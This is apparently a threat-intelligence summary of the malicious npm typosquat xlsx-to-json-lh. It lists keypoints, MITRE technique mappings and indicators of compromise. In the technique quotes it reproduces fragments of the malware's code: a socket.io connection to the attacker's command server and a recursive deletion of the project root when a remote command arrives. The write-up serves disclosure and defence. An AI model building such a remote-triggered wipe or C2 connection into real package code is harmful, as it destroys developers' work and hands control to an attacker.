An npm supply chain attack involved a malicious typosquatting package named xlsx-to-json-lh, which impersonated the legitimate xlsx-to-json-lc package by differing by one letter. This malware maintained a persistent connection to a command and control server and could delete entire project directories on command, remaining undetected for six years. #xlsx-to-json-lh #leonhard #npm #supplychainattack
Keypoints
- The malicious npm package xlsx-to-json-lh typosquatted the popular xlsx-to-json-lc package by substituting one letter to exploit typing mistakes.
- Released in February 2019, xlsx-to-json-lh contains a hidden payload that connects to a command and control server to receive destructive commands.
- Upon receiving the French command “remise à zéro,” the malware recursively deletes entire project directories without warning or recovery options.
- The malware masquerades as legitimate by retaining the original author’s metadata while adding a malicious maintainer alias “leonhard.”
- The payload activates immediately upon package import and maintains a persistent WebSocket connection to the attacker’s server.
- The attack remained live and undetected on the npm registry for six years and can scale destruction across multiple projects and developers.
- Indicators such as a French email address and French trigger command suggest a French-speaking threat actor behind the attack.
MITRE Techniques
- [T1195.002] Supply Chain Compromise – The attacker compromised the software supply chain by publishing a malicious npm package as a typosquat. (‘The malicious package xlsx-to-json-lh typosquats the legitimate package’)
- [T1059.007] Command and Scripting Interpreter: JavaScript – The payload executes JavaScript code upon import to load and run the malicious functionality. (‘The main index.js requires ./libs/index.js which loads malware as a side effect’)
- [T1485] Data Destruction – Upon receiving the command, the malware recursively deletes entire project directories. (‘var rmDir(projectRoot); // Recursively deletes entire project’)
- [T1036.005] Masquerading – The malicious package matches the legitimate package’s name except one letter and reuses the author’s metadata. (‘Malicious package retains original author info to build trust’)
- [T1071.001] Application Layer Protocol: Web Protocols – The malware establishes a WebSocket connection to communicate with the attacker’s server. (‘var socket = io.connect(“https://informer-server.herokuapp.com”)’)
- [T1102] Web Service: Bidirectional Communication – The malware maintains a persistent, bidirectional WebSocket connection to receive commands and send status. (‘socket.on(“message”, function(data) { … socket.emit(“message”, {type: “removed-successfully”}) })’)
Indicators of Compromise
- [Malicious Package] npm – xlsx-to-json-lh, impersonating xlsx-to-json-lc
- [Threat Actor Alias] npm alias – leonhard
- [Email Address] Maintainer email – hofferouandi@yahoo[.]fr
- [Command and Control Server] Domain – informer-server[.]herokuapp[.]com
Read more: https://socket.dev/blog/npm-package-wipes-codebases-with-remote-trigger